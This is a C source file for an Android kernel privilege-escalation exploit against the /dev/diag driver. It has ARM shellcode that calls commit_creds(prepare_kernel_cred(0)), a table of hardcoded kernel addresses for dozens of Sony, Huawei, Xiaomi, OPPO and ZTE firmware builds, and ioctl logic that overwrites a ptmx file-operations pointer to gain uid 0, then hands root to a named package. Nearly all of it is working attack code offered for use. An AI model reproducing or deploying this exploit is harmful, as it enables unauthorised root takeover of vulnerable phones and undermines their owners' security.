#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <linux/futex.h>
#include <sys/resource.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/system_properties.h>
#include "root.h"

#define SYS_NMLN 65
#define DIAG_IOCTL_GET_DELAYED_RSP_ID   8

//#define DEBUG

#ifdef DEBUG

#define printff    printf
#else
#define printff(...) 
#endif


typedef	unsigned long long	uint64_t;
struct utsname {
    char  sysname   [SYS_NMLN]; //linux
    char  nodename  [SYS_NMLN]; //locolhost
    char  release   [SYS_NMLN];  //3.4.4xxx
    char  version   [SYS_NMLN];  //#1 #SMPxxx
    char  machine   [SYS_NMLN];   //armv7
    char  domainname[SYS_NMLN];   //localdomain
};



struct diag {
	char phone[16];
	char model[32];
	char release[64];
	char version[64];
	unsigned int ptmx_fops;
	unsigned int prepare_kernel_cred;
	unsigned int commit_creds;
	unsigned int delayed_rsp_id;
	
};

struct playload
{
	unsigned char shellcode[32];
	unsigned int prepare_kernel_cred;
	unsigned int commit_creds;
};


struct diagpkt_delay_params {
  void *rsp_ptr;
  int size;
  int *num_bytes_ptr;
};

/*
as follows is shellcode
LOAD:00007E1C 10 40 2D E9                       STMFD           SP!, {R4,LR}
LOAD:00007E20 14 30 9F E5                       LDR             R3, =dword_0
LOAD:00007E24 00 00 A0 E3                       MOV             R0, #0
LOAD:00007E28 33 FF 2F E1                       BLX             R3 ; dword_0
LOAD:00007E2C 0C 30 9F E5                       LDR             R3, =dword_0
LOAD:00007E30 33 FF 2F E1                       BLX             R3 ; dword_0
LOAD:00007E34 00 00 A0 E3                       MOV             R0, #0
LOAD:00007E38 10 80 BD E8                       LDMFD           SP!, {R4,PC}
*/
//char* off_71F8 = "\x10\x40\x2D\xE9\x14\x30\x9F\xE5\x00\x00\xA0\xE3\x33\xFF\x2F\xE1\x0C\x30\x9F\xE5\x33\xFF\x2F\xE1\x00\x00\xA0\xE3\x10\x80\xBD\xE8\x00\x00\x00\x00\x00\x00\x00\x00";
struct playload code=
{
		{  0x10, 0x40, 0x2D, 0xE9, 0x14, 0x30, 0x9F, 0xE5, 0x00, 0x00, 
           0xA0, 0xE3, 0x33, 0xFF, 0x2F, 0xE1, 0x0C, 0x30, 0x9F, 0xE5, 
           0x33, 0xFF, 0x2F, 0xE1, 0x00, 0x00, 0xA0, 0xE3, 0x10, 0x80, 
           0xBD, 0xE8, 0,0},
};


struct diag aexp_diag[] = 
{
{"Sony SEMC","MT15i","2.6.32.9-perf","#1 PREEMPT Mon Sep 19 08:03:47 2011", 0x8082ea0c, 0x800f3b80, 0x800f3d18,0x80746b00 },\
{"Sony SEMC","MT15i","2.6.32.9-perf","#1 PREEMPT Wed Oct 19 09:31:26 2011", 0x8082ea0c, 0x800f3bf0, 0x800f3d88,0x80746b00 },\
{"Sony SEMC","MT15i","2.6.32.9-perf","#1 PREEMPT Wed Jul 4 12:32:24 2012", 0x80865f4c, 0x800f3de0, 0x800f3f78,0x8077aa00 },\
{"Sony SEMC","MT15i","2.6.32.9-perf","#1 PREEMPT Tue Apr 24 11:57:09 2012", 0x80864e2c, 0x800f6f6c, 0x800f7104,0x807790f0 },\
{"Sony Ericsson","MT15i","2.6.32.9-perf","#1 PREEMPT Mon Sep 19 08:03:47 2011", 0x8082ea0c, 0x800f3b80, 0x800f3d18,0x80746b00 },\
{"Sony Ericsson","LT18i","2.6.32.9-perf","#1 PREEMPT Mon Sep 19 08:03:47 2011", 0x8082c60c, 0x800f3ae4, 0x800f3c7c,0x80744830 },\
{"Sony SEMC","LT18i","2.6.32.9-perf","#1 PREEMPT Tue Apr 24 11:57:09 2012", 0x80862a4c, 0x800f6ed0, 0x800f7068,0x80776e28 },\
{"Sony SEMC","LT18i","2.6.32.9-perf","#1 PREEMPT Wed Jul 4 12:32:24 2012", 0x80863b6c, 0x800f3d44, 0x800f3edc,0x80778738 },\
{"Sony SEMC","LT18i","2.6.32.9-perf","#1 PREEMPT Mon Aug 22 17:19:33 2011", 0x8082c60c, 0x800f3a7c, 0x800f3c14,0x80744830 },\
{"Sony SEMC","LT28h","3.0.8+1.0.21100-30145-01972-g0f71270","#1 SMP PREEMPT Wed Mar 28 05:16:33 2012", 0xc1053658, 0xc01cd514, 0xc01cce1c,0xc0b7e7a4 },\
{"Sony Ericsson","LT26i","2.6.35.11-307005+","#1 SMP PREEMPT Mon Feb 6 21:13:09 2012", 0x80b58f74, 0x801bcd60, 0x801bced4,0x80a6b73c },\
{"Sony Ericsson","LT26i","2.6.35.11-307005+","#1 SMP PREEMPT Tue Feb 28 18:06:46 2012", 0x80b58f74, 0x801bcd6c, 0x801bcee0,0x80a6b73c },\
{"Sony Ericsson","LT26i","2.6.35.11-307005+","#1 SMP PREEMPT Mon May 7 17:12:38 2012", 0x80b58f94, 0x801bcd6c, 0x801bcee0,0x80a6b73c },\
{"Sony Ericsson","LT26i","3.0.8+1.0.21100-30145-01949-g0df3406","#1 SMP PREEMPT Thu May 31 18:50:49 2012", 0xc0c99968, 0xc01b5100, 0xc01b4a08,0xc0b7dacc },\
{"Sony Ericsson","LT26ii","3.0.8+1.0.21100-30145-01956-g43358ca","#1 SMP PREEMPT Mon Jul 30 13:29:45 2012", 0xc0c99b10, 0xc01b5100, 0xc01b4a08,0xc0b7dc24 },\
{"Sony SEMC","LT26ii","3.0.8+1.0.21100-30145-01957-gc34b591","#1 SMP PREEMPT Fri Oct 5 01:14:38 2012", 0xc0c99b10, 0xc01b5100, 0xc01b4a08,0xc0b7dc24 },\
{"Huawei","C8650","2.6.35.7-perf","#1 PREEMPT Wed Oct 12 06:25:52 CST 2011", 0xc070238c, 0xc00bac14, 0xc00bad70,0xc065234c },\
{"Huawei","C8650","2.6.35.7-perf","#1 PREEMPT Wed Sep 7 05:50:44 CST 2011", 0xc07000cc, 0xc00bac00, 0xc00bad5c,0xc06500b4 },\
{"Huawei","C8650","2.6.35.7-perf","#1 PREEMPT Tue Aug 9 19:16:04 CST 2011", 0xc07000cc, 0xc00bac00, 0xc00bad5c,0xc06500b4 },\
{"HUAWEI","C8650","2.6.35.7-perf","#1 PREEMPT Fri Sep 23 06:58:10 CST 2011", 0xc070238c, 0xc00bac10, 0xc00bad6c,0xc0652344 },\
{"HUAWEI","C8650","2.6.35.7-perf","#1 PREEMPT Tue Mar 6 17:48:35 CST 2012", 0xc070238c, 0xc00bac50, 0xc00badac,0xc065234c },\
{"HUAWEI","C8650","2.6.35.7-perf","#1 PREEMPT Tue Dec 27 12:31:32 CST 2011", 0xc070238c, 0xc00bac50, 0xc00badac,0xc065234c },\
{"HUAWEI","C8650","2.6.35.7-perf","#1 PREEMPT Wed Nov 16 12:36:06 CST 2011", 0xc070238c, 0xc00bac50, 0xc00badac,0xc065234c },\
{"HUAWEI","C8650","2.6.35.7-perf","#12 PREEMPT Wed Aug 24 16:46:11 CST 2011", 0xc074962c, 0xc00be2fc, 0xc00be120,0xc0698ab8 },\
{"HUAWEI","HUAWEI C8812","3.0.8-perf-00037-gb818f1a","#1 PREEMPT Thu Jan 10 20:41:11 CST 2013", 0xc0891d30, 0xc00d3038, 0xc00d3180,0xc07c5fd4 },\
{"HUAWEI","HUAWEI C8812","3.0.8-perf-00032-gf856bf1","#1 PREEMPT Tue Jun 26 21:13:50 CST 2012", 0xc0891830, 0xc00d3034, 0xc00d317c,0xC07C5B04 },\
{"Huawei","HUAWEI C8812E","3.0.21-perf-g07d599d-00160-g11ddbfe","#1 SMP PREEMPT Wed Dec 5 15:06:18 CST 2012", 0xc0cab8f0, 0xc00ff640, 0xc00ff7cc,0xc0974e08 },\
{"HUAWEI","HUAWEI C8812E","3.0.21-perf-g07d599d-00151-g2cad9bc","#1 SMP PREEMPT Tue Oct 16 21:14:21 CST 2012", 0xc0cab8d0, 0xc00ff5a8, 0xc00ff734,0xc0974de8 },\
{"Huawei","HUAWEI U8825D","3.0.21-perf-gcc010a0-04723-gf7ca249","#1 SMP PREEMPT Wed Mar 6 12:29:08 CST 2013", 0xc0a17f28, 0xc00f1e80, 0xc00f1fe4,0xc08d4168 },\
{"HUAWEI","HUAWEI U8825D","3.0.21-perf-gcc010a0-04686-gb36b77d","#1 SMP PREEMPT Tue Aug 14 17:44:52 CST 2012", 0xc0a05668, 0xc00f1588, 0xc00f16ec,0xc08c2228 },\
{"Huawei","U8860","2.6.35.7-perf","#1 PREEMPT Thu Feb 16 22:18:45 CST 2012", 0xc0980b2c, 0xc00f70b0, 0xc00f7208,0xc07c8cdc },\
{"HUAWEI","U8860","2.6.35.7-perf","#1 PREEMPT Thu Nov 3 23:59:15 CST 2011", 0xc097e90c, 0xc00f70a0, 0xc00f71f8,0xc07c6c64 },\
{"Xiaomi","MI-ONE Plus","3.0.8-perf-00463-gfef2058","#1 SMP PREEMPT Tue Jan 8 19:50:07 CST 2013", 0xc0b66dc0, 0xc01a0894, 0xc01a01a8,0xc0a8a030 },\
{"Xiaomi","MI-ONE Plus","3.0.8-perf-00445-g35e37a3","#1 SMP PREEMPT Thu Oct 25 14:45:31 CST 2012", 0xc0b66c60, 0xc01a0898, 0xc01a01ac,0xc0a89f00 },\
{"Xiaomi","MI-ONE Plus","3.0.8-perf-00456-gf801d69","#1 SMP PREEMPT Thu Nov 8 14:39:50 CST 2012", 0xc0b66ca0, 0xc01a0898, 0xc01a01ac,0xc0a89f00 },\
{"OPPO","X907","3.0.8-perf-svn8065","", 0xc115acb0, 0xc01cc880, 0xc01cc188,0xc0c8032c },\
{"ZTE","ZTE-C N880","2.6.32.9-perf","#2 PREEMPT Thu Jul 7 20:23:31 CST 2011", 0x80750b64, 0x800c4c60, 0x800c4dfc,0x806c4ed8 },\
{"ZTE","ZTE N880E","3.0.8-perf-svn30379","#1 PREEMPT Wed Nov 21 13:16:11 CST 2012", 0xc08942dc, 0xc00ce840, 0xc00ce500,0xc0816358 },\
{"ZTE","ZTE N880E","2.6.38.6-perf+","#5 PREEMPT Mon Mar 5 11:49:11 CST 2012", 0xc075bb30, 0xc00c059c, 0xc00c06f4,0xc06e73d8 },\
{"ZTE","ZTE N880E","2.6.38.6-perf+","#1 PREEMPT Fri Jun 8 14:20:55 CST 2012", 0xc075fdb0, 0xc00c05b4, 0xc00c070c,0xc06eb648 },\
{"ZTE","ZTE N880E","3.0.8-perf-svn22082","#1 PREEMPT Tue Aug 14 14:28:33 CST 2012", 0xc08b0700, 0xc00d330c, 0xc00d3454,0xc08327c4 },\
{"ZTE","ZTE N880E","3.0.8-perf-svn22100","#1 PREEMPT Fri Sep 14 11:11:41 CST 2012", 0xc08aa038, 0xc00d3278, 0xc00d33c0,0xc082c42c },\
{"ZTE","ZTE V889D","2.6.38.6-perf+","#1 PREEMPT Wed Mar 7 23:58:53 CST 2012", 0xc076b730, 0xc00c178c, 0xc00c18e4,0xc06f19d0 },\
{"ZTE","ZTE V889D","2.6.38.6-perf+","#1 PREEMPT Wed Aug 8 12:32:11 CST 2012", 0xc076f750, 0xc00c07a4, 0xc00c08fc,0xc06f5c40 },\
{"ZTE","ZTE V889D","2.6.38.6-perf+","#1 PREEMPT Sun Apr 1 14:16:21 CST 2012", 0xc0771770, 0xc00c178c, 0xc00c18e4,0xc06f7a18 },\
{"ZTE","ZTE-U V960","2.6.35.7-perf+","#2 PREEMPT Tue May 15 17:10:53 HKT 2012", 0x80781d48, 0x800bf9a0, 0x800bfafc,0x8070e9c8 },\
{"ZTE","ZTE-U V960","2.6.35.7-perf+","#1 PREEMPT Thu Dec 15 07:04:21 HKT 2011", 0x8077fbcc, 0x800bf95c, 0x800bfab8,0x8070c950 },\
{"ZTE","ZTE-U V960","2.6.35.7-perf+","#1 PREEMPT Wed Dec 7 09:51:50 HKT 2011", 0x8077dbcc, 0x800bf95c, 0x800bfab8,0x8070a950 },\
{"ZTE","ZTE-C N760","2.6.35.7-perf+","#1 PREEMPT Tue Jul 10 04:17:16 CST 2012", 0x8079dfec, 0x800bf998, 0x800bfaf4,0x8072a9d0 },\
{"ZTE","ZTE-C N760","2.6.35.7-perf+","#1 PREEMPT Thu Nov 24 05:16:20 CST 2011", 0x80787bcc, 0x800bf9bc, 0x800bfb18,0x80714910 },\

};


int diag_exp_main() {
	int i = 0;
	struct diag tmpdiag = { 0 };
	struct diag matchdiag = { 0 };
	int bversion;
	struct utsname ut_sname = { 0 };
	int n_phone_model_len;
	char phone_model[32] = { 0 };

	char opcode[0x2000] = { 0 };
	int un_v29;
	int un_v30;
	unsigned int v24;

	if (uname(&ut_sname) == -1) {
		goto END;
	}

	__system_property_get("ro.product.model", phone_model);
	n_phone_model_len = strlen(phone_model);
	printff("model: %s,%s,%s\n", phone_model, ut_sname.release,ut_sname.version);

	while (i < sizeof(aexp_diag)/sizeof(aexp_diag[0])) {
		int n_phone_release = 0;

		memcpy(&tmpdiag, &aexp_diag[i], sizeof(struct diag));
		if (strlen(tmpdiag.model) == n_phone_model_len) {
			n_phone_release = strlen(ut_sname.release);
			if (n_phone_release == strlen(tmpdiag.release)
					&& !strncmp(phone_model, tmpdiag.model, n_phone_model_len)
					&& !strncmp(tmpdiag.release, ut_sname.release,
							n_phone_release)) {

				if (!strncmp(ut_sname.version, tmpdiag.version,
						strlen(tmpdiag.version))) {
					break;
				}
			}
		}
		i++;
	}

	if (i < sizeof(aexp_diag)/sizeof(aexp_diag[0])) {
		memcpy(&matchdiag, &aexp_diag[i], sizeof(struct diag));
		printff("match,%s\n", matchdiag.version);
		if (matchdiag.ptmx_fops) {
			code.prepare_kernel_cred = matchdiag.prepare_kernel_cred;
			code.commit_creds = matchdiag.commit_creds;
			memcpy((void *) (((unsigned int) &opcode & 0xFFFFF000) + 0x1004),
					&code, 0x28u);
			if (mprotect(
					(void *) (((unsigned int) &opcode & 0xFFFFF000) + 0x1000),
					0x1000u, 7))
				return 1;
			//printf("mprotect\n");
			int fd_v18 = open("/dev/diag", 2);

			if (fd_v18 >= 0) {
				int fd_v22 = open("/dev/ptmx", 1);
				if (fd_v22 >= 0) {
					struct diagpkt_delay_params diag_io;
					v24 = ((unsigned int) &opcode & 0xFFFFF000) + 0x1003;
					diag_io.num_bytes_ptr = matchdiag.delayed_rsp_id;
					diag_io.rsp_ptr = (int) &un_v30;
					diag_io.size = 2;
					ioctl(fd_v18, 8u, &diag_io);
					if ((unsigned short) v24) {

						int n_v19 = 0;
						while (1) {
							diag_io.rsp_ptr = matchdiag.ptmx_fops + 56;
							diag_io.size = 2;
							diag_io.num_bytes_ptr = &un_v29;
							if (ioctl(fd_v18, 8u, &diag_io) < 0) {
								//printf("ioctl error 1\n");
								goto END;
							}
							++n_v19;
							if (n_v19 == (unsigned short) v24)
								break;
						}
					}
					diag_io.num_bytes_ptr = matchdiag.delayed_rsp_id;
					diag_io.rsp_ptr = (int) &un_v30;
					diag_io.size = 2;
					ioctl(fd_v18, 8u, &diag_io);
					if ((int) (v24 >> 16) > 1) {
						int j = 1;
						while (1) {
							diag_io.rsp_ptr = matchdiag.ptmx_fops + 58;
							diag_io.size = 2;
							diag_io.num_bytes_ptr = &un_v29;
							if (ioctl(fd_v18, 8u, &diag_io) < 0) {
								//printf("ioctl error 2\n");
								goto END;
							}
							++j;
							if (j == (v24 >> 16))
								break;
						}
					}
					sleep(1u);
					//printf("sync\n");
					fsync(fd_v22);
					//printf("uid=%d\n", getuid());
					diag_io.num_bytes_ptr = (int *) matchdiag.delayed_rsp_id;
					diag_io.rsp_ptr = (int) &un_v30;
					diag_io.size = 2;
					ioctl(fd_v18, 8u, &diag_io);
					close(fd_v22);
					close(fd_v22);
					if (getuid() == 0) {
						printff("succeed\n");
						return 0;
					}

				}

			}
		}

	}
	END: return 1;
}


extern int runrt(int uid, const char* pszPkgName, const char* pszRootName);

void do_root(int argc, const char **argv)
{
	printf("runrt(%d, '%s', '%s')\n", atoi(argv[1]), argv[2], argv[3]);
	runrt( atoi(argv[1]), argv[2], argv[3] );
}

int main(int argc, const char **argv)
{
	int uid = 0, ret = 0, wait_time = 60, pid = 0;

	check_parent_pid();
	if(argc < 4) return 1;

	diag_exp_main();
	ret = (getuid() == 0);

	if(ret) {
		do_root(argc, argv);
	}
	return ret? 0:1;
}




